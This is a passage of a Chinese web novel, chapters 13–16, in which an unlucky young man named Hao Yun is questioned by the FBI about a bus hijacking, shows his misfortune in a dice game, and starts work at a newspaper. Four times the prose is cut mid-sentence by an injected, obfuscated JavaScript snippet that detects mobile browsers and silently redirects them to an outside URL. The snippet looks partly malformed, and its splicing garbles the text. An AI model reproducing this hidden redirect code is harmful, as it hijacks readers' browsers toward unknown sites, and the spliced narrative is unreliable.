格雷厄姆这下是真的疑惑了,这两件事能有什么关系? “那些其实都是我随身常带的,带习惯了就不觉得重。” “如果我没记错,里边有扳手、钳子、锉刀、防滑手套,止血贴、纱布、绷带、医用胶带、消毒药水、一次性手套、镊子、口罩、小剪刀,止疼药、抗生素,火柴、蜡烛、手电筒,暖手宝、雨披、防水袋、绳子、口哨——” 郝运很干脆地打断探长先生:“如果是为了应对随时可能发生的突发情况,及时自救呢?”要不是为了自证清白,他还真不想自爆糗事。 “……”格雷厄姆开始考虑,要不要换个人进来,换种方式重新开始。 “我这个人从小倒霉到大。几个月大的时候,吃奶差点呛死。六岁,掉下水道,差点淹死。考试成绩永远差一分及格,买橘子从来都是酸的。好好走在路上也能被人丢烟头、砸砖头,平地摔跤、吃饭噎住,电梯故障、交通事故。你能想到的倒霉事,还有你想不到的倒霉事,都在我身上发生过。” 格雷厄姆沉默了,理智上他不相信一个人可以倒霉到这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035263|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程度,情感上却忍不住相信郝运的话,多年经验告诉他——郝运并没有说假话。 “就像今天,上班第一天碰上劫车的炸/弹/犯,被迫当人质。刚坐上警车五分钟,车子抛锚。换到特警车上,吐了,还带着特警大哥们一起吐。”郝运摊开手,表示很无奈。“而我为什么能打败众多竞争对手,成为琼·安德森的助理记者,因为我面试的时候灵光一闪,告诉安德森女士,搞新闻就像是做菜,材料很重要,我可以弄到好材料。事实证明,倒霉到了一定程度,确实可以换种思路利用一下。”说到这里,郝运自嘲一笑,带着一种听天由命的苦中作乐。 格雷厄姆右手慢慢敲着桌面,神色不定道:“这样的体质,独自一人跑到异国他乡,很需要勇气。” 这句话翻译一下就是:为什么来美国?有什么不良企图?郝运在心里翻了个大大的白眼,身子却凑近,压低声音神秘兮兮道:“华国有一个特殊群体——算命先生,就像这边的巫女,探长先生有听说过吗?” 格雷厄姆点点头:“有所耳闻。” “我父母整天提心吊胆,生怕我长不大,甚至特意给我改名字,郝运在汉语中的谐音代表幸运。后来辗转请到一位算命先生,他说我的幸运之地在美国,到这里就有希望化解霉运。” 其实算命先生只是说郝运的好运在遥远的西方,并没有特别指明哪个地方。郝爸郝妈为什么拼死拼活非要把郝运送到美国,不过是觉得郝运生下来就没有过过一天太太平平的正常生活,既然出国才有希望,哪怕拼了老命,也要选最好的。当时赴美留学正热门,郝爸郝妈省吃俭用十多年,终于凑够学费。真的只是学费,郝运交完学费和第一年的膳宿费,兜比脸干净。之后几年的生活费,都是他想方设法自己挣的,艰辛归艰辛,细想想还蛮有趣的。 “看起来算命先生的话并不准确。” 郝运耸耸肩:“一半一半吧。虽然成绩不佳,但也没挂科。延迟一年毕业,好歹拿到了毕业证,最后又找到一份还算不错的工作。”郝运在这里读了六年书,第一年是预备班,第二年才算正式入学。至于延迟毕业,则是卡在论文答辩上,第一次系统故障,没报上名。其实来了也不是没有收获,只是不足为外人道。 “这么多年独自一人,一定很想父母吧?” “我也想回去。可是我父母生怕我回去小命不保,宁可远隔重洋,也不愿意我回去冒险。” 格雷厄姆表示理解,朝天花板上的探头瞄了一眼。两人又闲扯几句,有人敲门把格雷厄姆叫出去。 郝运明白,接下来就是真正的询问。 13. 第 13 章 果不其然,再进来的是一男一女。男探员神色冷峻,气场三米八。女探员不苟言笑,天然冷风机。两人看也不看郝运,径自在对面椅子上坐下。男探员把手里的资料翻得哗啦啦响,女探员摆好电脑坐正。 男探员公事公办,询问基本信息。问到年龄,抬头狠狠瞅了郝运两眼,低头反复看了好几遍资料,才作罢。 “知道为什么叫你过来吗?”压迫感十足的声音让询问室的气氛瞬间紧张。 “配合调查。”郝运没有一丝不耐烦的神色,就差把“积极”两字写在脸上。 “那就说说,你和弗兰克·罗恩怎么认识的?” 郝运满脸迷茫:“弗兰克·罗恩?” 男探员啪的把资料夹摔在桌上,双眼锁定郝运,手指在桌上笃笃笃敲着,一下又一下,敲得人心里发毛。 如果郝运只是个刚出校门的普通人,在这样的逼视和压迫下,心理防线恐怕蹦得差不多了。幸而郝运自小水里来火里去,大大小小的场面经历过不少次,别的不敢说,一颗小心脏磨练得极为硬挺。换种说法,就是抗压能力贼强。 不过,这时候不能太淡定。郝运小心翼翼挪挪屁股,直到身子紧紧贴着椅背,避无可避,弱弱道:“我该认识他吗?”问完双手紧紧抓着扶手。 “弗兰克·罗恩都承认了!” “承认什么?”郝运装糊涂。说得这么模棱两可,郝运赌一根辣条,对方绝对是在诈他。 “上帝的启示,你觉得FBI会相信这种鬼话?” “那只能说明你不是基督徒。”郝运一本正经绕圈子,生动演绎了什么叫抓不住重点。 男探员呼得起身,椅子发出一道长长的尖叫。他双手撑在桌上,朝郝运探过身,一字一顿道:“那你再说说,公交车上那么多空位你不坐,为什么偏偏坐在弗兰克·罗恩身边?” 郝运恍然大悟:“哦,原来劫车那家伙叫弗兰克·罗恩。”嗯,这个问题得好好想想怎么解释,弗兰克还因此误会他是警察来着。老天爷真是的,给他点亮新技能之前也不打声招呼,害得他两头应付。 “最后一排不用让座,可以安心补觉。”郝运用重重点头表示自己的理直气壮。 男探员动动嘴唇,却没说什么,一屁股坐回去,双手抱胸,靠在椅背上,冲旁边负责记录的女探员点点头。女探员调出几张视频截图,把电脑转向郝运。 这不是之前踩点,呸,才不是踩点,明明是为了上班不迟到,提前试乘测算时间,规划备选路线。郝运继续装茫然,猫儿眼发出无声的询问。可惜,对面的两位探员依据冷酷无情,完全没有一点融化的迹象。 “把中间这张放大。”男探员指着一个模糊的身影,大理石般冷酷的唇角勾起一抹玩味的笑。“还用我提醒这是谁吗?” 郝运起身凑近,眯着眼认了好大一会儿,猫儿眼一点点睁大。我去,这不是弗兰克?这会儿不亚于一道天雷迎头劈下,直劈得郝运外焦里嫩。画面里,两人都背着黑色双肩包,头戴鸭舌帽,正隔着参差的人头彼此凝望。郝运拼命在脑海里搜寻着,试图找出关于——在人从中看了你一眼——是在何时何地何种场景下发生。 凡事先不要慌。郝运非常确定以及肯定,在今天之前,他跟弗兰克绝对不认识,FBI查不到任何两人联系的证据。这张巧的不能再巧的隔空对视照,只能说明他俩在同一个地方同时出现,恰好又望向彼此的方向。弗兰克对他有没有印象,郝运不知道,但他对弗兰克没有任何记忆。或许弗兰克一开始那么坚定的认为他是警察,正是因为之前见过他的脸。 看截图,这是他家附近的公交站,他大概明白了……郝运心里有了数,恢复淡定,慢慢坐回原位。 “认出来就好,说说吧。”男探员显出几分胸有成竹的满意。 不好意思,让您失望了哎。郝运摊开手,一脸无辜:“我发誓,这纯粹是个巧合。” “你和弗兰克·罗恩上周一同时出现在一个公交站台,这周一同时上了一辆公交车。弗兰克·罗恩又点名要你老板做独家采访,而你又是车上最后一名人质。这难道都是巧合,嗯?!” 郝运频频点头,俨然一副——你怀疑得非常合理——的神气。 男探员不禁气笑了:“你最好好好解释一下这些巧合!” 郝运听出了话里浓浓的威胁,为了摆脱嫌疑,拿出最真诚的语气:“我担心上班第一天迟到,提前试乘,保险起见,特意选择同样的周一。很不赶巧,公交车故障,没办法启动,车上的乘客只好下车,等下一辆。弗兰克·罗恩既然计划那样的事情,提前勘察路线,也不是什么奇怪的事情。至于截图,只是隔着人群无意间的一眼对望。探员先生,您在人群中看了一眼一个无关紧要的陌生人,就能记住他吗?至于车子有没有抛锚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035264|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您只要给公车公司打通电话,就知道我有没有说谎。” “你说的,我们会查证。” 郝运点点头,继续道:“至于要我老板做独家采访,更准确的说,是我未来老板,大记者琼·安德森的大名,至少纽约相当一部分人听到就会头疼。如果我是弗兰克·罗恩,也会点名要安德森女士。探员先生,我完全理解您合理的怀疑,只是,如果没有这些巧合,结果会坏到什么程度呢?” 男探员紧紧盯着郝运的面部表情以及所有的小动作,沉默着没有回应这个反问。 郝运一脸坦荡无畏:“在今天之前,我不认识弗兰克·罗恩,您尽管去查。” “你包里的东西呢?西装、衬衣、皮鞋,甚至还有内裤、袜子,还有那些——” “探员先生。”郝运直接打断,“我知道,这些很容易被联想到用来换装逃跑。可是,这只是一个天生倒霉蛋的辛酸应急包。故事很长,您如果有时间,有兴趣,我可以从头给您讲一遍。” 男探员咳嗽一声:“据我们调查,你在上周接连五天分别乘坐公交、地铁、出租车,所有的行驶轨迹都经过布莱恩大厦。” “……”郝运双手抱头,无力道:“布莱恩大厦是我去公司的必经之地,如果我知道有今天,绝对会想方设法绕过它。探员先生,我只是想选条最优路线,顺便再做几个应急预案。您不知道,一个倒霉蛋能活到今天,有多艰辛!好不容易走一回狗屎运,找到一份还算不错的工作,现在看来,大概率也黄了。至于我的倒霉史,欢迎您随时随地调查。” 说到这里,郝运不禁心酸绝望起来。人倒霉也就算了,还得接受FBI紧追不放的盘问。明明他冒着生命危险做了一件大好事,他都没要求见义勇为奖,反而被警方怀疑动机不纯,简直是有冤无处诉,有苦说不出。委屈、气愤一股脑涌上来,也不知哪里来的勇气,一拍桌子,一不做二不休:“我现在就可以证明给你看,让你看看一个人究竟可以倒霉到什么程度!” “……”这下轮到男探员无语了。 一直坐着没说话的女探员心动了,一个人真的可以从小倒霉到大吗?即便倒霉,也是不可预料的意外,他怎么能这么信誓旦旦地要求证明呢?心随意动,不禁问出口:“怎么证明?” 郝运嘴角露出个略显诡异的微笑,猫儿眼更是闪着奇异的幽光:“探员小姐,可敢与我赌大小?” 14.第 14 章 自FBI成立以来,大概是第一次遇到如此胆大包天的被询问人,竟然敢在FBI的地盘上,要求与FBI赌大小。探员小姐惊得嘴巴微张,瞪着郝运一时说不出话来。 “探员小姐,您这样可爱多了,干嘛老绷着一张脸。”郝运这会颇有点摆烂的意思,忍不住嘴贱起来。 男探员猛地一拍桌子,力道之大,郝运都忍不住替他手疼。“你当这里是什么地方?” 说出去的话,泼出去的水。既然收不回来,郝运索性放大胆子,一脸无畏:“探员先生,消消气,仔细手疼。您完全可以当做一次大胆的实验,就像测谎一样。我本人非常愿意配合FBI的一切调查,只是发生在我身上的事情确实匪夷所思,我给您提供一个最迅速最有效的验证方式,用不用在您?” 男探员下意识往监控探头的方向瞄了一眼。整个特案一组的人都知道,今天来了一位特殊的被询问人。在头儿询问期间,他们兴致勃勃讨论着,气氛前所未有的热烈。而他依靠素来让犯人见了就发憷的气场,成功拿下询问权。不得不说,男探员对郝运的提议,有一些些心动。 另一个房间,格雷厄姆以及特案一组的其他成员,正围拢在电脑前,关注着询问室的一举一动。一个平时就爱玩两把的瘦小伙,忍不住蠢蠢欲动,率先提议:“头儿,不如按他说的试试?” 格雷厄姆一手抱胸,一手撑在下巴上,淡淡扫了一眼瘦小伙,眼神又一一滑过按耐着兴奋的下属们,最后又定在监控画面上。 瘦小伙讪讪低下头,其余人则挤眉弄眼。 良久,格雷厄姆轻声道:“注意拉上百叶窗。” 瘦小伙拍着胸脯:“放心吧,头儿。”说完兴冲冲直奔物品保管室,找保管员借工具。FBI物品保管室什么千奇百怪的东西都找得到。 男探员接到通知,丢给郝运一句:“趁现在还有时间,你最好祈祷一下。”说完便低头继续翻资料。 呦吼,竟然成了?郝运大感意外,本来只是受够了对方穷追不舍的过分解读,逞一时之气,故意挑衅一下,没想到FBI的办事风格如此不拘小节。想到接下来的场景,郝运又有点儿后悔。转念一想,在FBI大楼,与FBI精英探员赌大小,绝对牛逼plus,够吹一辈子了,不免又有两分嘚瑟。虽然运气坏到了极致,有时候,也不见得完全是坏事嘛。 就在郝运等得百无聊赖之时,瘦小伙捂着胸口推门而入,进门前已经收起了脸上的跃跃欲试,一本正经的样子,根本看不出内心早已按捺不住。他先把百叶窗仔细拉上,而后才在门口的位置坐下,从夹克衫里取出牺牲色相才借来的重要工具。 瘦小伙清清嗓子,把骰盅和三粒骰子给郝运看过,暗暗深吸一口气:“那么,我开始了。”说完便摇起骰盅,手法之娴熟,显然很钟爱此物,平日里多有训练。 询问室的隔音做的非常到位,哗啦啦作响的骰子声,没有泄出一丝。 骰盅啪的一声扣在桌子上,郝运支着脑袋,随意报出一个“大”。 10点,刚刚卡着“小”。郝运早就见怪不怪,瘦小伙嘴上没说什么,眼睛却止不住亮了一个度。 郝运挑挑眉,示意瘦小伙继续。接下来,无论郝运猜大还是猜小,点数总是非常完美的卡在相反的大小上。 瘦小伙的眼睛已经亮到一种不可思议的程度,只是碍于身份不好多说什么。旁边两位探员也被吸引的投入其中。一个人玩怪没意思的,郝运本着独乐乐不如众乐乐的好心,微笑着对冷脸男探员提议道:“不如一起?” “……”男探员丢给郝运一个大大的眼刀。如果眼刀可以化为实质,郝运已经血流成河。 郝运故作正经道:“我是为了让实验结果更具说服力。”免得有人怀疑他听音辨骰,他还真没那个本事。 瘦小伙忍不住一起撺掇:“没错,没错,只要猜大小就行。”他真的好好奇,有人一起参与后,结果会变成怎样? 男探员轻咳一声,几不可查地点点头。 瘦小伙又是一阵花式摇晃。郝运大方道:“你先猜。” 男探员不自主坐直身子,抿了抿唇,轻声吐出一个“大”。 “那么,我猜小。”郝运趴在桌上,有气无力道。 揭开骰盅,11点,毫无意外又卡得刚刚好。 “再来。”眼见瘦小伙盯着骰子仿佛要看出一朵花来,郝运好心提醒。 瘦小伙这才反应过来,抱着骰盅一阵狂摇,时间比以往都长。 郝运挥挥手:“还是你先猜。” 男探员依旧猜“大”,郝运跟“大”。 骰盅打开的一刹那,瘦小伙直接从位置上弹起来:“十八点,竟然是十八点,大小通杀。”连平时对赌博嗤之以鼻的男探员,此刻脸上都不由得变了色,心脏更是砰砰直跳。 郝运好整以暇,显然早就预料到了结果,眼神促狭:“还要继续吗?” 多少人败在赌上,赌红了眼,赌得倾家荡产、六亲不认,自有其不可言喻的惊人诱惑力。大概是人的天性中,总潜藏着冒险因子,渴望追求刺激,渴望热血沸腾,过于放纵的结果,就是彻底沦为赌桌上的奴隶。 瘦小伙再看向郝运的目光,几乎带着一种捡到宝的狂热。 郝运适时提醒:“我很稀罕我的小命,也有自知之明,不会蠢到去惹那些惹不起的人。”说着,脸上的神色不禁复杂起来,那是一种混合着自嘲、妥协、无奈、坦诚的神色。“今天我面对的是FBI,才愿意暴露这个随时可能给我招来致命危险的秘密。该说的不该说的,我都说了。如果你们坚持那些莫名其妙的怀疑,愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036101|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意浪费时间做无谓的调查,尽管去好了。”说到这个份上,郝运彻底躺平了,爱咋地咋地吧。 混到特案一组的人,自有其过人之处。常年和形形色色的人打交道,对方有没有说谎,基本看个八九不离十。软硬兼施,轮番询问,他们手里目前掌握的牌已经出的差不多了,尽管对方的回答仍然带着一种不真实的荒谬感,但整体却另有一定程度的逻辑自洽,询问室里的三人都心里差不多都有了判断。询问到这种程度,除非他们找到有力证据打破眼前的僵局,不然难有突破。 最关键的是,大家都很清楚,手中所谓的牌根本不能说明什么。他们只是因为一些巧合点和异常点,又凭借多年办案经验的直觉,对作为人质的郝运产生了怀疑,推测有可能是两人共同策划了这场——名为公共安全事件、实为搞臭阿诺德·布莱恩——的阴谋。弗兰克·罗恩大仇得报,一进审讯室,就非常痛快地交代了一切,但是坚决不承认有同伙协同作案。 所以,这就是一个天生倒霉蛋的日常倒霉史?尽管心里已经认同这个结论,但是习惯质疑的FBI们,还是忍不住犯嘀咕——是不是漏了什么关键的地方。然而,现实不容许他们扣着不放人了。 郝运做好准备再品尝一顿FBI版午餐,可惜被告知有人来接他。谁会来接他?郝运一头雾水抱着双肩包,跟着格雷厄姆探长走出犯罪调查部。格雷厄姆不知出于什么心理,竟亲自把人送到楼下,搞得郝运颇有些受宠若惊。 远远的,琼·安德森正倚在采访车上,低头摆弄手机。郝运胸口禁不住一热,眨眨眼,突然有点想郝妈妈。整整六年异国他乡的生活,回国的次数屈指可数。特殊体质的缘故,郝运非必要绝不出门,可谓是个死宅,朋友自然寥寥无几。FBI能这么快放行,一定是未来老板中间调停的结果。看来,他的运气没有差到极点嘛!郝运喜滋滋地想。 格雷厄姆在门前停下脚步:“郝运先生,很感谢你配合调查。我相信,以后我们有的是机会碰面。”那意味深长的眼神,看得郝运心里直发毛,总觉得这个面容和善的老大叔,心里憋着什么坏。 郝运堆起假笑,装作没听懂:“格雷厄姆探长手里要是有大新闻,一定要想着太阳日报,我先谢谢您了。”说完,便挥挥手,大步跑开,仿佛身后追着什么妖魔鬼怪。 格雷厄姆不可置否地笑了笑,负手站在原地,目送郝运离开。 郝运跑到车边,余光瞥到一个娇小的身影冲出门口,回头咧开嘴冲格雷厄姆的方向挥挥手。那一脸灿烂的模样,搞得格雷厄姆有些莫名,不过出于礼貌,他也挥手致意。格雷厄姆绝想不到,他的身边正站着一个非人类。 真好,珍妮可以陪着心爱的弗兰克。得找个机会,把这个好消息告诉弗兰克。不过,不能操之过急,FBI正盯着他呢。 15.第 15 章 郝运一坐上副驾驶,就像个小狗腿似的凑上去,满脸堆起层层叠叠的笑意,连声音都变得奶糯奶糯:“老板,您竟然亲自来接我,对我实在太好了,我好感动,呜呜呜~” 琼·安德森额角的青筋明显一跳,声音冷得像冰刀子:“好好说话。” “好的,老板。”郝运立马坐直身子,要多正经有多正经。 琼·安德森一脚油门下去,车子蹿出去老远。郝运吓得赶紧抓住顶棚拉手。好家伙,老板开车这么猛的吗?!果然符合琼·安德森的气质。 车里死一样沉寂,郝运几次想找个话题,打破这种让人坐立不安的沉默,可余光瞄到老板严肃冰冷的侧脸,专注开车的模样仿佛正要奔赴前线的女战士,张开的嘴又悻悻地闭上。 又不敢在老板眼皮子底下玩手机,郝运只好扭头望向窗外,佯装欣赏沿路的高楼大厦。等等,这路不对!郝运忍不住了,弱弱地提醒:“老板,这好像不是去报社的路。” “送你回家。” “老板,你不要我了吗?”郝运嘎起嘴,委屈的像个下一秒就要破防的孩子,那架势显然已经预备好哭天抢地,以此博取老板的同情心,收回成命。 摆出这副即将被抛弃的做派给谁看?她什么时候说不要他了?琼·安德森额角的青筋跳得更欢快了。当初为什么选择郝运,原因很简单,他不怕她。 琼·安德森受够了手下的助理记者看到她就像老鼠见了猫一样战战兢兢。她知道她身上那些数不尽的标签,冷酷无情,要求苛刻,吹毛求疵,动不动发火,没人爱的老女人,等等等等……最关键的是,跟着她危险重重。那些跟过她的人,即便一开始拥有一往无前的勇气,到最后也会找这样那样的借口离开。当然不乏有人借她当跳板,这些人压根就没准备在她手底下长干。于是,琼·安德森永远缺助理记者。 当然,郝运从小到大的特殊经历,也是琼·安德森决定用他的因素之一。她想,既然习惯了时刻面临大大小小的危险,一定比旁人更懂得保护自己。甚至因为郝运的特别,琼·安德森对他多了份隐隐的期许,希望他能坚持跟着她干。她已经过了一腔孤勇的年纪,也会有孤独无力的时刻,祈盼有一个可以信赖的同伴,可以让她有机会喘口气。至于野鸡大学毕业,学的专业和传媒八竿子打不着,根本不在琼·安德森的考虑范围之内。琼·安德森知道,名校、对口专业不是一个好记者的必要因素。 琼·安德森将郝运视作重点培养对象,或许也有年纪大了容易心软的成分在,从决定要郝运的那一刻起,她就决心好好呵护这颗幼苗。幼苗上班第一天就遭遇绑架,琼·安德森考虑到幼苗的身心健康问题,决定大发慈悲把人送回去休息半天,再上班不迟。难得发一次善心,还被误会,琼·安德森心里哭笑不得,面上却带着股冷飕飕的刻薄:“看来没吓破胆,正好报社有一堆活。” 郝运期期艾艾:“老板,我收回刚才的话——”回答郝运的是一个大转弯和一声刺耳的摩擦声,他只好讪讪住了口,用力抓紧顶棚拉手。嗐,老板的心思好难猜! 一路风驰电掣,就在郝运以为早上的惨剧又要重演一次时,车子在一栋漂亮的几何形建筑前停下。郝运下车,仰头望着直插云霄的庞然大物,脚下软绵绵的,有种不真实的飘忽感。他马上就要成为这里的一员,还是跟着一位争抢不下的行业大佬,前途似乎一片光明。然而,数不清的未知考验也悄然静待,就像黑暗中张着巨口的怪兽。郝运知道,他这样一个肤色不同、十八流大学毕业、专业不对口的小白,再加上倒霉蛋属性,接下来将要面临无处不在的歧视、排挤、刁难甚至是陷害,可能用不了几天就要收拾东西滚蛋。 其实,郝运没必要非要受这份闲气,尽管过不了有钱有闲的潇洒生活,他也有办法不让自己饿死,反正他对生活水平要求又不高,很不必来争这口气。可是古话说的好——不蒸馒头争口气,人活着,有时候不就是为了争口气。上小学的时候,郝运为了多考一分,打破59分魔咒,多少个夜晚挑灯苦读,甚至躲在被窝里打着手电筒刷题。课文倒背如流,试卷做了一沓又一沓,还是差一分。那一分仿佛一道无法跨越的鸿沟。最后反倒是郝爸郝妈看不下去,砸了台灯,扔掉手电,一把火烧掉试卷。 小郝运蹲在火盆前,抱着膝盖,哭得声嘶力竭,肝肠寸断。火光直亮了一小时,小郝运也哭了一小时。那之后,他转变心思,不再在意成绩,只为了读书而读书,也不管读不读得懂,简直是无书不读。成绩依旧一塌糊涂,可郝运知道他学到的知识远远超过其他同学。书读得越多,郝运越能以平常心看待那些倒霉事儿,甚至还学会了自我打趣,认为老天爷这么关照他,总有一天要天降大任。 本来嘛,郝运已经习惯了躺平,突然间拿到一个大公司、大老板的offer,早就凉透的雄心壮志一下子又泛起了热乎气儿。以前,任凭他百般争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041118|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取,求爷爷告奶奶,老天爷就是不给;现在,几乎是一个大馅饼从天而降,不接着那就是脑袋有坑。 躺多了容易腰酸背痛,郝运觉得,是时候站起来活动活动了。不为自己,也得为老爸老妈争口气。大公司有什么了不起,名校出身又如何,他一个光脚的不怕穿鞋的,最差不过被赶出大门呗。说出去,他曾经在鼎鼎有名的大报社干过,脸上多少能添点儿光辉,也够老爸老妈在亲戚朋友面前吹一波。 做好随时卷铺盖走人的准备,郝运这才觉得双脚踏上实地,收起乡下人进城的蠢样。紧赶两步,咧着嘴迎上刚下车的琼·安德森,极为自然地接过她手里的大提包。琼·安德森差点被郝运眼里的亮光晃花眼,她这才发现,原来郝运笑起来有两个浅浅的酒窝,怪可爱的。不过,倒衬得年纪越发小了,让琼·安德森有种压榨童工的错觉。 抬手看看腕表:“时候不早了,吃完中饭再上去。”说着脚步一转,领着郝运向街对面的一家汉堡店走去。如果在平时,琼·安德森绝对不会踏足餐馆,中午都是随便让人带份三明治,直接在办公室解决,有时候简单啃几块饼干了事,更多时候干脆忘了午饭这茬。 郝运自然不知道自家老板在吃上比大多数美国人还不讲究,今天进汉堡店,完全是看在他第一天上班又受了惊吓的份上。等后边郝运见识到琼·安德森吃饭有多潦草,才回过味儿来。现在,郝运只觉得他的中国胃还没吃就开始闹腾了。来美国六年,汉堡、薯条、三明治、披萨早就吃得够够的。每到这时候,他就会无比怀念亲爱的祖国妈妈,哪怕小巷子里脏兮兮的路边摊,也比这些快餐好吃一百倍。 为了赶上琼·安德森狼吞虎咽的速度,郝运不得不放弃斯文,拼命赶在前头吞下最后一口汉堡,胡乱灌了半杯可乐,便去厕所换装备。为了显得成熟一点,特地用水把头发往后捋了捋,露出漂亮的额头。 人模狗样出现的时候,琼·安德森只是多看了郝运半秒钟,便起身拎起提包。郝运凑上去想要接过来,却被挥手拒绝。“不必如此。”琼·安德森冷冷丢下一句,率先朝门口走去。 郝运感觉到其中的好意,无非是担心他初来乍到就在同事们面前留下一个好欺负、会巴结领导的印象。他真不是为了巴结领导,只是觉得,琼·安德森瘦嶙嶙的身体,提那样一个大包有点吃力。至于好不好欺负,那得看他愿不愿意。不管怎样,他越来越喜欢自家老板了。郝运喜滋滋跟上。 16.第 16 章 琼·安德森把郝运丢给前台,自顾自去忙了。前台是个三十来岁的大姐,圆圆的、红扑扑的苹果脸,皮肤很白,头发是一种不常见的金白色。还没到上班时间,她本来正舒服地窝在椅子里,脸上挂着一种痴痴的笑,戴着耳机看视频,看到郝运后,眼睛明显一亮,热情地将郝运引进门口的小会议室。之后给自己泡杯咖啡,应郝运的喜好送上一杯红茶,自来熟地坐下来问长问短,问的自然是早上那场惊心动魄的劫持事件。 郝运挑挑拣拣作着回答,得知苏珊·简在太阳日报做了十年前台,越发殷勤地满足对方的好奇心。脸嫩、脾气好、温柔有礼,苏珊·简对初来乍到的郝运好感大增,主动加好友不说,还悄悄承诺,有八卦一定第一时间跟他分享。直到上班时间,她才意犹未尽返回前台。 之后,郝运在人事小姐的安排下,办理入职手续,又跟着到各部门逛了一圈,简单熟悉过环境,才被带到工位上。他的工位正对着琼·安德森的办公室门口,四周的椅子有大半空着,估计都在出外勤。郝运便冲在座的几人含笑点头致意,有人报以微笑,有人只是微不可见地抬抬下巴。刚坐下不久,一个助理模样的年轻小姐,把一沓半人高的资料摔在他的办公桌上,留下一句:“主编让你把这些资料整理一下。”说完便踩着高跟鞋款款离开了。 郝运不知道这是助理小姐给他的下马威,还是老板的任务就是这么寥寥一句话。没有截止时间,似乎可以整理到天荒地老;没有明确要求,似乎留下充分发挥的余地。然而,郝运明白,他必须尽快看完这些资料,越快越好;还得从小山一样的资料里找到老板想要的重点,否则不仅白费功夫,大概率还会被臭骂一通。 先不管能不能整理出令老板满意的资料,态度至少要跟上。郝运只不过翻了两三份资料,便get到了重点——办公室骚扰。老板一定是要趁着直播的热度,搞一次反办公室骚扰的宣传。既如此,这些资料比原先预计的还要紧迫。想起弗兰克和珍妮的悲剧,郝运便止不住惋惜哀叹。如果说一开始只是单纯的当做工作来完成,现在,郝运则是带着一种神圣的责任感和使命感,他想尽己所能做点什么。 不知不觉,郝运完全沉浸其中,越读越快,到最后几乎是一目十行。常年读书的好处这会儿便体现出来,不用费太多力气便能轻松找出每份资料的重点,顺便整理成文档。等他将最后一份资料的数据汇总完,抬头看时,窗外已经灯火通明。上班第一天,很荣幸体验了一回“加班狗”。 郝运伸了个大大的懒腰,环顾四周,不愧是媒体狗,八点钟还有小一半的人在电脑前埋头赶稿。老板办公室毫无意外透着亮光,同组的同事还剩下四个,两个下午已经见过,两个是生面孔。大家都在专心忙工作,郝运也不好凑上去套近乎。小腹一阵阵鼓胀,郝运匆匆奔向厕所。 刚松开皮带,头顶的灯闪了两下,灭了。伴着此起彼伏的叫骂抱怨声,郝运摸黑放了水,又摸索着找到洗手台,优哉游哉慢慢洗手。他早就防着老天爷作怪,绝不会犯文档没有保存的愚蠢错误,保险起见还特意做了备份,何况笔记本电脑也不怕突然停电。只是听外头的声音,似乎有不少伙伴今晚的活白干了。 还没等郝运走出厕所,灯亮了,又是一连串咒骂,不过比刚才那阵低了许多。从来都是被人看热闹,难得看一次别人的热闹,说是通体舒畅也不为过。郝运迈着轻快的步伐绕到茶水间,给自己接了杯水,又捡了两块巧克力饼干,在窗口的高脚凳上坐下,一面欣赏夜景,一面安抚叫嚣不已的肚子。 郝运的好心情在看到冒着热气的笔记本电脑后一扫而空。果然,热闹不是那么好看的。哪个杀千刀的,摸黑给他浇了一杯热咖啡。郝运嘴角抽搐,抑制住骂人的冲动,捧起笔记本电脑,对着垃圾桶倒了下去。 同组的四个同事看到后,迅速围拢过来,七嘴八舌叫开了。 “谁那么缺德,把咖啡浇人家电脑上!” “就是,趁早站出来,道个歉也就算完了!” “啧啧,背地里搞小动作,欺负新同事,算什么本事?” “……” 唯一的女同事则忙着帮郝运抢救电脑。郝运反倒像个没事人似的站在一旁。 “发生什么事了?”琼·安德森听到动静,快步走出办公室。 不等郝运说话,一个年轻的长脸男人抢先回答:“主编,刚才咱们这位新来的同事上厕所,不知道哪个欠揍的家伙,趁着停电,把咖啡浇到人家电脑上。” 郝运手足无措地站在一边,勉强笑道:“我想不会是故意的,应该是不小心。” 